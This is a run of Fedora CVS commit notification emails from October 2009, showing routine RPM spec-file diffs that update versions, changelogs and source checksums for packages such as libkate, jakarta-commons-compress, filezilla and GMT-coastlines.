-ab2bdef452fd2bd415a30ee8269b63ce  libkate-0.3.4.tar.gz
+f4fb4cf0e568a96a4b2db417c924bc27  libkate-0.3.6.tar.gz


Index: libkate.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libkate/devel/libkate.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libkate.spec	25 Jul 2009 06:01:12 -0000	1.6
+++ libkate.spec	16 Oct 2009 21:28:03 -0000	1.7
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           libkate
-Version:        0.3.4
-Release:        2%{?dist}
+Version:        0.3.6
+Release:        1%{?dist}
 Summary:        Libraries to handle the Kate bitstream format
 
 Group:          System Environment/Libraries
@@ -134,6 +134,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 kwizart < kwizart at gmail.com > - 0.3.6-1
+- Update to 0.3.6
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pjones at fedoraproject.org  Fri Oct 16 21:28:24 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Fri, 16 Oct 2009 21:28:24 +0000 (UTC)
Subject: rpms/dumpet/devel dumpet.spec,1.2,1.3
Message-ID: <20091016212824.5752711C00E5@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/dumpet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5503

Modified Files:
	dumpet.spec 
Log Message:
Make pkg-config/libxml2 usage actually work...



Index: dumpet.spec
===================================================================
RCS file: /cvs/extras/rpms/dumpet/devel/dumpet.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- dumpet.spec	16 Oct 2009 20:18:56 -0000	1.2
+++ dumpet.spec	16 Oct 2009 21:28:24 -0000	1.3
@@ -15,7 +15,7 @@ DumpET is a utility to aid in the debugg
 %setup -q
 
 %build
-make %{?_smp_mflags} CFLAGS="%{optflags}"
+make %{?_smp_mflags} CFLAGS="%{optflags} $(pkg-config --cflags libxml-2.0)"
 
 %install
 rm -rf %{buildroot}



From kwizart at fedoraproject.org  Fri Oct 16 21:29:00 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Fri, 16 Oct 2009 21:29:00 +0000 (UTC)
Subject: rpms/libkate/F-12 sources,1.4,1.5 libkate.spec,1.6,1.7
Message-ID: <20091016212900.3CF6711C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/libkate/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5644

Modified Files:
	sources libkate.spec 
Log Message:
Update to 0.3.6



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libkate/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Jul 2009 12:17:44 -0000	1.4
+++ sources	16 Oct 2009 21:29:00 -0000	1.5
@@ -1 +1 @@
-ab2bdef452fd2bd415a30ee8269b63ce  libkate-0.3.4.tar.gz
+f4fb4cf0e568a96a4b2db417c924bc27  libkate-0.3.6.tar.gz


Index: libkate.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libkate/F-12/libkate.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libkate.spec	25 Jul 2009 06:01:12 -0000	1.6
+++ libkate.spec	16 Oct 2009 21:29:00 -0000	1.7
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           libkate
-Version:        0.3.4
-Release:        2%{?dist}
+Version:        0.3.6
+Release:        1%{?dist}
 Summary:        Libraries to handle the Kate bitstream format
 
 Group:          System Environment/Libraries
@@ -134,6 +134,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 kwizart < kwizart at gmail.com > - 0.3.6-1
+- Update to 0.3.6
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From red at fedoraproject.org  Fri Oct 16 21:44:11 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Fri, 16 Oct 2009 21:44:11 +0000 (UTC)
Subject: rpms/jakarta-commons-compress/F-10 .cvsignore, 1.2,
	1.3 jakarta-commons-compress.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091016214411.661B411C00E5@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/jakarta-commons-compress/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9831

Modified Files:
	.cvsignore jakarta-commons-compress.spec sources 
Log Message:
* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
- New version




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jan 2009 11:45:14 -0000	1.2
+++ .cvsignore	16 Oct 2009 21:44:08 -0000	1.3
@@ -1 +1 @@
-jakarta-commons-compress.tar.bz2
+commons-compress-1.0-src.tar.gz


Index: jakarta-commons-compress.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-10/jakarta-commons-compress.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- jakarta-commons-compress.spec	9 Jan 2009 11:45:14 -0000	1.1
+++ jakarta-commons-compress.spec	16 Oct 2009 21:44:08 -0000	1.2
@@ -28,17 +28,17 @@ Ant -> Avalon-Excalibur -> Commons-IO ->
 
 
 %package javadoc
-Summary:           Javadocs for jcalendar
+Summary:           Javadocs for jakarta-commons-compress
 Group:             Documentation
 Requires:          %{name} = %{version}-%{release}
 Requires:          jpackage-utils
 
 %description javadoc
-JCalendar development documentation.
+Development documentation for jakarta-commons-compress.
 
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{shortname}-%{version}-src
 
 
 %build


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jan 2009 11:45:14 -0000	1.2
+++ sources	16 Oct 2009 21:44:08 -0000	1.3
@@ -1 +1 @@
-9cde88237db782a8969b2df7ba3b32de  jakarta-commons-compress.tar.bz2
+3e5ef0d79590e06049724f159408923f  commons-compress-1.0-src.tar.gz



From red at fedoraproject.org  Fri Oct 16 21:44:28 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Fri, 16 Oct 2009 21:44:28 +0000 (UTC)
Subject: rpms/jakarta-commons-compress/F-11 .cvsignore, 1.2,
	1.3 jakarta-commons-compress.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091016214428.3670A11C00E5@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/jakarta-commons-compress/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10253

Modified Files:
	.cvsignore jakarta-commons-compress.spec sources 
Log Message:
* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
- New version




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jan 2009 11:41:02 -0000	1.2
+++ .cvsignore	16 Oct 2009 21:44:27 -0000	1.3
@@ -1 +1 @@
-jakarta-commons-compress.tar.bz2
+commons-compress-1.0-src.tar.gz


Index: jakarta-commons-compress.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-11/jakarta-commons-compress.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- jakarta-commons-compress.spec	25 Feb 2009 08:39:28 -0000	1.2
+++ jakarta-commons-compress.spec	16 Oct 2009 21:44:27 -0000	1.3
@@ -1,16 +1,13 @@
 %define shortname commons-compress
-%define snapshot 20081205
-%define revision 727209
 
 Name:           jakarta-%{shortname}
-Version:        0
-Release:        0.2.%{snapshot}svn%{revision}%{?dist}
+Version:        1.0
+Release:        1%{?dist}
 Summary:        Java API for working with tar, zip and bzip2 files
 Group:          Development/Libraries
 License:        ASL 2.0
-URL:            http://commons.apache.org/sandbox/compress/
-# svn checkout http://svn.apache.org/repos/asf/commons/sandbox/compress/trunk commons-compress
-Source0:        %{name}.tar.bz2
+URL:            http://commons.apache.org/compress/
+Source0:        http://www.apache.org/dist/commons/compress/source/%{shortname}-%{version}-src.tar.gz
 BuildArch:      noarch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -28,17 +25,17 @@ Ant -> Avalon-Excalibur -> Commons-IO ->
 
 
 %package javadoc
-Summary:           Javadocs for jcalendar
+Summary:           Javadocs for jakarta-commons-compress
 Group:             Documentation
 Requires:          %{name} = %{version}-%{release}
 Requires:          jpackage-utils
 
 %description javadoc
-JCalendar development documentation.
+Development documentation for jakarta-commons-compress.
 
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{shortname}-%{version}-src
 
 
 %build
@@ -86,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
+- New version
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.2.20081205svn727209
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jan 2009 11:41:02 -0000	1.2
+++ sources	16 Oct 2009 21:44:27 -0000	1.3
@@ -1 +1 @@
-9cde88237db782a8969b2df7ba3b32de  jakarta-commons-compress.tar.bz2
+3e5ef0d79590e06049724f159408923f  commons-compress-1.0-src.tar.gz



From kwizart at fedoraproject.org  Fri Oct 16 21:44:31 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Fri, 16 Oct 2009 21:44:31 +0000 (UTC)
Subject: rpms/filezilla/devel filezilla.spec, 1.52, 1.53 sources, 1.46,
	1.47 .cvsignore, 1.42, 1.43
Message-ID: <20091016214431.EA24F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/filezilla/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10273

Modified Files:
	filezilla.spec sources .cvsignore 
Log Message:
Update to 3.2.8.1



Index: filezilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/filezilla.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- filezilla.spec	6 Oct 2009 22:06:31 -0000	1.52
+++ filezilla.spec	16 Oct 2009 21:44:31 -0000	1.53
@@ -1,7 +1,7 @@
 #global fz_rc   rc1
 
 Name:           filezilla
-Version:        3.2.8
+Version:        3.2.8.1
 Release:        1%{?fz_rc:_%{?fz_rc}}%{?dist}
 Summary:        FileZilla FTP, FTPS and SFTP client
 
@@ -119,6 +119,9 @@ fi || :
 
 
 %changelog
+* Fri Oct 16 2009 kwizart < kwizart at gmail.com > - 3.2.8.1-1
+- Update to 3.2.8.1
+
 * Wed Oct  7 2009 kwizart < kwizart at gmail.com > - 3.2.8-1
 - Update to 3.2.8
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	6 Oct 2009 22:06:31 -0000	1.46
+++ sources	16 Oct 2009 21:44:31 -0000	1.47
@@ -1 +1 @@
-dfba22a167266bfdd891d47c2434eada  FileZilla_3.2.8_src.tar.bz2
+dd5c0288f229090a00ecaebb157e5a84  FileZilla_3.2.8.1_src.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	6 Oct 2009 22:06:31 -0000	1.42
+++ .cvsignore	16 Oct 2009 21:44:31 -0000	1.43
@@ -1 +1 @@
-FileZilla_3.2.8_src.tar.bz2
+FileZilla_3.2.8.1_src.tar.bz2



From red at fedoraproject.org  Fri Oct 16 21:44:42 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Fri, 16 Oct 2009 21:44:42 +0000 (UTC)
Subject: rpms/jakarta-commons-compress/F-12 .cvsignore, 1.2,
	1.3 jakarta-commons-compress.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091016214442.BA97A11C00E5@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/jakarta-commons-compress/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10505

Modified Files:
	.cvsignore jakarta-commons-compress.spec sources 
Log Message:
* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
- New version




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jan 2009 11:41:02 -0000	1.2
+++ .cvsignore	16 Oct 2009 21:44:42 -0000	1.3
@@ -1 +1 @@
-jakarta-commons-compress.tar.bz2
+commons-compress-1.0-src.tar.gz


Index: jakarta-commons-compress.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-12/jakarta-commons-compress.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- jakarta-commons-compress.spec	25 Jul 2009 03:48:30 -0000	1.3
+++ jakarta-commons-compress.spec	16 Oct 2009 21:44:42 -0000	1.4
@@ -1,16 +1,13 @@
 %define shortname commons-compress
-%define snapshot 20081205
-%define revision 727209
 
 Name:           jakarta-%{shortname}
-Version:        0
-Release:        0.3.%{snapshot}svn%{revision}%{?dist}
+Version:        1.0
+Release:        1%{?dist}
 Summary:        Java API for working with tar, zip and bzip2 files
 Group:          Development/Libraries
 License:        ASL 2.0
-URL:            http://commons.apache.org/sandbox/compress/
-# svn checkout http://svn.apache.org/repos/asf/commons/sandbox/compress/trunk commons-compress
-Source0:        %{name}.tar.bz2
+URL:            http://commons.apache.org/compress/
+Source0:        http://www.apache.org/dist/commons/compress/source/%{shortname}-%{version}-src.tar.gz
 BuildArch:      noarch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -28,17 +25,17 @@ Ant -> Avalon-Excalibur -> Commons-IO ->
 
 
 %package javadoc
-Summary:           Javadocs for jcalendar
+Summary:           Javadocs for jakarta-commons-compress
 Group:             Documentation
 Requires:          %{name} = %{version}-%{release}
 Requires:          jpackage-utils
 
 %description javadoc
-JCalendar development documentation.
+Development documentation for jakarta-commons-compress.
 
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{shortname}-%{version}-src
 
 
 %build
@@ -86,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
+- New version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.3.20081205svn727209
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jan 2009 11:41:02 -0000	1.2
+++ sources	16 Oct 2009 21:44:42 -0000	1.3
@@ -1 +1 @@
-9cde88237db782a8969b2df7ba3b32de  jakarta-commons-compress.tar.bz2
+3e5ef0d79590e06049724f159408923f  commons-compress-1.0-src.tar.gz



From red at fedoraproject.org  Fri Oct 16 21:44:55 2009
From: red at fedoraproject.org (Sandro Mathys)
Date: Fri, 16 Oct 2009 21:44:55 +0000 (UTC)
Subject: rpms/jakarta-commons-compress/devel .cvsignore, 1.2,
	1.3 jakarta-commons-compress.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091016214455.3409011C00E5@cvs1.fedora.phx.redhat.com>

Author: red

Update of /cvs/pkgs/rpms/jakarta-commons-compress/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10830

Modified Files:
	.cvsignore jakarta-commons-compress.spec sources 
Log Message:
* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
- New version




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jan 2009 11:41:02 -0000	1.2
+++ .cvsignore	16 Oct 2009 21:44:54 -0000	1.3
@@ -1 +1 @@
-jakarta-commons-compress.tar.bz2
+commons-compress-1.0-src.tar.gz


Index: jakarta-commons-compress.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/devel/jakarta-commons-compress.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- jakarta-commons-compress.spec	25 Jul 2009 03:48:30 -0000	1.3
+++ jakarta-commons-compress.spec	16 Oct 2009 21:44:54 -0000	1.4
@@ -1,16 +1,13 @@
 %define shortname commons-compress
-%define snapshot 20081205
-%define revision 727209
 
 Name:           jakarta-%{shortname}
-Version:        0
-Release:        0.3.%{snapshot}svn%{revision}%{?dist}
+Version:        1.0
+Release:        1%{?dist}
 Summary:        Java API for working with tar, zip and bzip2 files
 Group:          Development/Libraries
 License:        ASL 2.0
-URL:            http://commons.apache.org/sandbox/compress/
-# svn checkout http://svn.apache.org/repos/asf/commons/sandbox/compress/trunk commons-compress
-Source0:        %{name}.tar.bz2
+URL:            http://commons.apache.org/compress/
+Source0:        http://www.apache.org/dist/commons/compress/source/%{shortname}-%{version}-src.tar.gz
 BuildArch:      noarch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -28,17 +25,17 @@ Ant -> Avalon-Excalibur -> Commons-IO ->
 
 
 %package javadoc
-Summary:           Javadocs for jcalendar
+Summary:           Javadocs for jakarta-commons-compress
 Group:             Documentation
 Requires:          %{name} = %{version}-%{release}
 Requires:          jpackage-utils
 
 %description javadoc
-JCalendar development documentation.
+Development documentation for jakarta-commons-compress.
 
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{shortname}-%{version}-src
 
 
 %build
@@ -86,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Sandro Mathys <red at fedoraproject.org> - 1.0-1
+- New version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.3.20081205svn727209
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jakarta-commons-compress/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jan 2009 11:41:02 -0000	1.2
+++ sources	16 Oct 2009 21:44:55 -0000	1.3
@@ -1 +1 @@
-9cde88237db782a8969b2df7ba3b32de  jakarta-commons-compress.tar.bz2
+3e5ef0d79590e06049724f159408923f  commons-compress-1.0-src.tar.gz



From kwizart at fedoraproject.org  Fri Oct 16 21:48:46 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Fri, 16 Oct 2009 21:48:46 +0000 (UTC)
Subject: rpms/filezilla/F-12 sources,1.46,1.47 filezilla.spec,1.52,1.53
Message-ID: <20091016214846.E2E0611C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/filezilla/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12065

Modified Files:
	sources filezilla.spec 
Log Message:
Update to 3.2.8.1



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/F-12/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	6 Oct 2009 22:07:46 -0000	1.46
+++ sources	16 Oct 2009 21:48:46 -0000	1.47
@@ -1 +1 @@
-dfba22a167266bfdd891d47c2434eada  FileZilla_3.2.8_src.tar.bz2
+dd5c0288f229090a00ecaebb157e5a84  FileZilla_3.2.8.1_src.tar.bz2


Index: filezilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/F-12/filezilla.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- filezilla.spec	6 Oct 2009 22:07:46 -0000	1.52
+++ filezilla.spec	16 Oct 2009 21:48:46 -0000	1.53
@@ -1,7 +1,7 @@
 #global fz_rc   rc1
 
 Name:           filezilla
-Version:        3.2.8
+Version:        3.2.8.1
 Release:        1%{?fz_rc:_%{?fz_rc}}%{?dist}
 Summary:        FileZilla FTP, FTPS and SFTP client
 
@@ -119,6 +119,9 @@ fi || :
 
 
 %changelog
+* Fri Oct 16 2009 kwizart < kwizart at gmail.com > - 3.2.8.1-1
+- Update to 3.2.8.1
+
 * Wed Oct  7 2009 kwizart < kwizart at gmail.com > - 3.2.8-1
 - Update to 3.2.8
 



From orion at fedoraproject.org  Fri Oct 16 21:49:50 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 16 Oct 2009 21:49:50 +0000 (UTC)
Subject: rpms/GMT-coastlines/devel .cvsignore, 1.4, 1.5 GMT-coastlines.spec, 
	1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091016214950.1631911C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/GMT-coastlines/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12803

Modified Files:
	.cvsignore GMT-coastlines.spec sources 
Log Message:
* Fri Oct 16 2009 Orion Poplawski <orion at cora.nwra.com> 2.0.1-1
- Update to 2.0.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Jul 2009 22:16:25 -0000	1.4
+++ .cvsignore	16 Oct 2009 21:49:49 -0000	1.5
@@ -1,3 +1,3 @@
-GSHHS2.0_coast.tar.bz2
-GSHHS2.0_full.tar.bz2
-GSHHS2.0_high.tar.bz2
+GSHHS2.0.1_coast.tar.bz2
+GSHHS2.0.1_full.tar.bz2
+GSHHS2.0.1_high.tar.bz2


Index: GMT-coastlines.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/devel/GMT-coastlines.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- GMT-coastlines.spec	24 Jul 2009 15:29:50 -0000	1.7
+++ GMT-coastlines.spec	16 Oct 2009 21:49:49 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           GMT-coastlines
-Version:        2.0
-Release:        2%{?dist}
+Version:        2.0.1
+Release:        1%{?dist}
 Summary:        Coastline data for GMT
 
 Group:          Applications/Engineering
@@ -73,7 +73,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING README.gshhs
+%doc LICENSE.TXT README.TXT
 %dir %{_datadir}/GMT/coast
 %{_datadir}/GMT/coast/*_[cil].cdf
 
@@ -90,6 +90,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Orion Poplawski <orion at cora.nwra.com> 2.0.1-1
+- Update to 2.0.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	17 Jul 2009 22:16:25 -0000	1.5
+++ sources	16 Oct 2009 21:49:49 -0000	1.6
@@ -1,3 +1,3 @@
-23ccee4b943ef1fc35ddc03b91b55521  GSHHS2.0_coast.tar.bz2
-fc5a70acf663c402b3dfc5a951b29244  GSHHS2.0_full.tar.bz2
-930ddfd9d576d75079455df4240b7a3a  GSHHS2.0_high.tar.bz2
+75a1e1e04b473699eee3a31c89b8dbfa  GSHHS2.0.1_coast.tar.bz2
+dbffea06d9ccf2899a9788dfac99c387  GSHHS2.0.1_full.tar.bz2
+0e1855e73bb079ab1879dd24895e99e9  GSHHS2.0.1_high.tar.bz2



From orion at fedoraproject.org  Fri Oct 16 22:01:40 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 16 Oct 2009 22:01:40 +0000 (UTC)
Subject: rpms/GMT-coastlines/F-12 .cvsignore, 1.4, 1.5 GMT-coastlines.spec,
	1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091016220140.95B3511C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/GMT-coastlines/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19279/F-12

Modified Files:
	.cvsignore GMT-coastlines.spec sources 
Log Message:
* Fri Oct 16 2009 Orion Poplawski <orion at cora.nwra.com> 2.0.1-1
- Update to 2.0.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Jul 2009 22:16:25 -0000	1.4
+++ .cvsignore	16 Oct 2009 22:01:40 -0000	1.5
@@ -1,3 +1,3 @@
-GSHHS2.0_coast.tar.bz2
-GSHHS2.0_full.tar.bz2
-GSHHS2.0_high.tar.bz2
+GSHHS2.0.1_coast.tar.bz2
+GSHHS2.0.1_full.tar.bz2
+GSHHS2.0.1_high.tar.bz2


Index: GMT-coastlines.spec
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/F-12/GMT-coastlines.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- GMT-coastlines.spec	24 Jul 2009 15:29:50 -0000	1.7
+++ GMT-coastlines.spec	16 Oct 2009 22:01:40 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           GMT-coastlines
-Version:        2.0
-Release:        2%{?dist}
+Version:        2.0.1
+Release:        1%{?dist}
 Summary:        Coastline data for GMT
 
 Group:          Applications/Engineering
@@ -73,7 +73,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc COPYING README.gshhs
+%doc LICENSE.TXT README.TXT
 %dir %{_datadir}/GMT/coast
 %{_datadir}/GMT/coast/*_[cil].cdf
 
@@ -90,6 +90,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Orion Poplawski <orion at cora.nwra.com> 2.0.1-1
+- Update to 2.0.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	17 Jul 2009 22:16:25 -0000	1.5
+++ sources	16 Oct 2009 22:01:40 -0000	1.6
@@ -1,3 +1,3 @@
-23ccee4b943ef1fc35ddc03b91b55521  GSHHS2.0_coast.tar.bz2
-fc5a70acf663c402b3dfc5a951b29244  GSHHS2.0_full.tar.bz2
-930ddfd9d576d75079455df4240b7a3a  GSHHS2.0_high.tar.bz2
+75a1e1e04b473699eee3a31c89b8dbfa  GSHHS2.0.1_coast.tar.bz2
+dbffea06d9ccf2899a9788dfac99c387  GSHHS2.0.1_full.tar.bz2
+0e1855e73bb079ab1879dd24895e99e9  GSHHS2.0.1_high.tar.bz2



From orion at fedoraproject.org  Fri Oct 16 22:01:40 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 16 Oct 2009 22:01:40 +0000 (UTC)
Subject: rpms/GMT-coastlines/F-11 .cvsignore, 1.3, 1.4 GMT-coastlines.spec,
	1.6, 1.7 sources, 1.5, 1.6
Message-ID: <20091016220140.4129611C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/GMT-coastlines/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19279/F-11

Modified Files:
	.cvsignore GMT-coastlines.spec sources 
Log Message:
* Fri Oct 16 2009 Orion Poplawski <orion at cora.nwra.com> 2.0.1-1
- Update to 2.0.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/GMT-coastlines/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	5 May 2008 20:58:26 -0000	1.3
